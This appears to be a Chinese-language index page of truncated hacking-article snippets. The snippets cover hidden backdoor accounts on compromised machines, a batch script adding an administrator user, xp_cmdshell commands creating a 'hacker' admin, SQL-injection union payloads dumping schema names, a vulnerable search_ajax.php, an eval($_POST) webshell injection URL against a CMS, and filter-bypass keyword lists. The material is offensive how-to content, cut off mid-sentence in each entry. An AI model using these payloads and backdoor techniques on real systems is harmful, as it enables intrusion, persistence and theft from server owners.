操作系统

1、服务器在内网。 2、做了tcp/ip筛选。 先执行下面cmd命令：cmd /c regedit -e c:\\1.reg HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\Tcpip，导出注册...

仔细看下面的图片，发现什么了吗。SU的提权可以溢出(如何防止溢出脚本之家技术团队帮您解决服务器安全问题)，但是出错了。不是限制了cmd命令，注意 Recv: 530 Not logged in, home directory does not exis...

在肉鸡上建立一个隐藏的账户，以备需要的时候使用。账户隐藏技术可谓是最隐蔽的后门，一般用户很难发现系统中隐藏账户的存在，因此危害性很大，本文就对隐藏账户这种黑客常用的技术进行揭密。 在隐藏系统账户之前，我们有必要先来了解一下如何才能查看系统中已经存在的账...

操作步骤： 1、在自己电脑里面建立一个.txt文本文件. 2、在里面输入内容： @echo off net user xixi 123456 /add 注释：前面xixi是用户名后面123456是密码； net localgroup administr...

一个存在备份的页面，但是一般直接访问的话都会出现 看到系统有个广告位的地方，还可以进行url地址的提交，于是就可以把备份的地址写进去即可 之后再管理广告位，直接点击那个URL地址，即可看到我们熟悉的备份页面了，O(∩_∩)O哈哈~ fo...

首先确保得到数据库超级管理员权限 然后执行如下SQL命令: 1、exec master.dbo.xp_cmdshell \’net user hacker hacker /add\’ 2、exec master.dbo.xp_c...

一、先看下面的一个贴子: Oracle数据库是现在很流行的数据库系统，很多大型网站都采用Oracle，它之所以倍受用户喜爱是因为它有以下突出的特点： 1、支持大数据库、多用户的高性能的事务处理。Oracle支持最大数据库，其大小可到几百千兆，可充分利用...

这个是最新有人发现的 该漏洞文件：ask/search_ajax.php 漏洞说明： /ask/search_ajax.php Code: if($q) { $where = " title LIKE \’%$q%\’...

暴库名＼表名＼列名 /**/union/**/select/**/unhex(hex(concat(0x1e,0x1e,table_schema,0x1e,table_name,0x1e,column_name,0x1e,0x20)))+FROM+in...

笔记本取代台式机已经是不争的事实。笔记本最重要的功能之一就是可以支持Wi-Fi无线上网，无论高端的迅驰2还是低端的上网本都100%的内置了无线网卡。同时，无线路由器也不再高贵，便宜的只需要100多块钱，可以说无线上网的门槛已经大大降低。无线上网最大的优...

假设域名是：www.abc.com 攻击步骤如下： 1. 访问网址： http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST...

一般通用过滤字符串的关键字有以下这些： and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 而这里最难处理的就是select这个关键...